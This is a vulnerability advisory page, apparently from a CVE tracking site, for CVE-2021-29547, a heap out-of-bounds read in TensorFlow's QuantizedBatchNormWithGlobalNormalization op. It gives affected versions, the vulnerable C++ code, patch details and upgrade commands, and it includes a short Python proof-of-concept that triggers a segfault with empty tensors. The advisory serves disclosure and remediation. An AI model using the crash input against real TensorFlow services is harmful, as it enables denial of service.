Heap out of bounds in QuantizedBatchNormWithGlobalNormalization

tensorflow Updated 02 Oct 2025

Summary

21/05/2021
Yes i
Low
2.5

CVE-2021-29547: Heap out of bounds in QuantizedBatchNormWithGlobalNormalization. Affects tensorflow across 4 version ranges.

< 2.1.4 >= 2.2.0, < 2.2.3 >= 2.3.0, < 2.3.3 >= 2.4.0, < 2.4.2

Fixed in 4 releases; the minimum fixed version depends on the release line you run. How to fix ↓

Also tracked for

The same CVE-2021-29547 is tracked separately for each ecosystem and vendor. Its fix information is the same; the package and affected versions differ.

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Impact

An attacker can cause a segfault and denial of service via accessing data outside of bounds in tf.raw_ops.QuantizedBatchNormWithGlobalNormalization:

import tensorflow as tf

t = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8)
t_min = tf.constant([], shape=[0], dtype=tf.float32)
t_max = tf.constant([], shape=[0], dtype=tf.float32)
m = tf.constant([1], shape=[1], dtype=tf.quint8)
m_min = tf.constant([], shape=[0], dtype=tf.float32)
m_max = tf.constant([], shape=[0], dtype=tf.float32)
v = tf.constant([1], shape=[1], dtype=tf.quint8)
v_min = tf.constant([], shape=[0], dtype=tf.float32)
v_max = tf.constant([], shape=[0], dtype=tf.float32)
beta = tf.constant([1], shape=[1], dtype=tf.quint8)
beta_min = tf.constant([], shape=[0], dtype=tf.float32)
beta_max = tf.constant([], shape=[0], dtype=tf.float32)
gamma = tf.constant([1], shape=[1], dtype=tf.quint8)
gamma_min = tf.constant([], shape=[0], dtype=tf.float32)
gamma_max = tf.constant([], shape=[0], dtype=tf.float32) 

tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
  gamma_max=gamma_max, out_type=tf.qint32,
  variance_epsilon=0.1, scale_after_normalization=True)

This is because the implementation assumes the inputs are not empty:

const float input_min = context->input(1).flat<float>()(0);
const float input_max = context->input(2).flat<float>()(0);
...
const float mean_min = context->input(4).flat<float>()(0);
const float mean_max = context->input(5).flat<float>()(0);
...
const float var_min = context->input(7).flat<float>()(0);
const float var_max = context->input(8).flat<float>()(0);
...
const float beta_min = context->input(10).flat<float>()(0);
const float beta_max = context->input(11).flat<float>()(0);
...
const float gamma_min = context->input(13).flat<float>()(0);
const float gamma_max = context->input(14).flat<float>()(0);

If any of these inputs is empty, .flat<T>() is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds.

Patches

We have patched the issue in GitHub commit d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

How To Fix

Latest published version: 2.21.0 as of 22 Oct 2026

pip install --upgrade "tensorflow==2.21.0"

Upgrading to it may include breaking changes; the versions below are the minimum fixed release for this vulnerability.

If you can't move to the latest

The minimum fixed version depends on the release line you run.

  • < 2.1.4 2.1.4
    pip install --upgrade "tensorflow==2.1.4"
  • >= 2.2.0, < 2.2.3 2.2.3
    pip install --upgrade "tensorflow==2.2.3"
  • >= 2.3.0, < 2.3.3 2.3.3
    pip install --upgrade "tensorflow==2.3.3"
  • >= 2.4.0, < 2.4.2 2.4.2
    pip install --upgrade "tensorflow==2.4.2"

Tip — Not sure which release line you're on? Vulert can find the fix for the version you are using. Scan free →

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How To Fix

Latest published version: 2.21.0 as of 22 Oct 2026

pip install --upgrade "tensorflow==2.21.0"

Upgrading to it may include breaking changes; the versions below are the minimum fixed release for this vulnerability.

If you can't move to the latest

The minimum fixed version depends on the release line you run.

  • < 2.1.4 2.1.4
    pip install --upgrade "tensorflow==2.1.4"
  • >= 2.2.0, < 2.2.3 2.2.3
    pip install --upgrade "tensorflow==2.2.3"
  • >= 2.3.0, < 2.3.3 2.3.3
    pip install --upgrade "tensorflow==2.3.3"
  • >= 2.4.0, < 2.4.2 2.4.2
    pip install --upgrade "tensorflow==2.4.2"

Tip — Not sure which release line you're on? Vulert can find the fix for the version you are using. Scan free →

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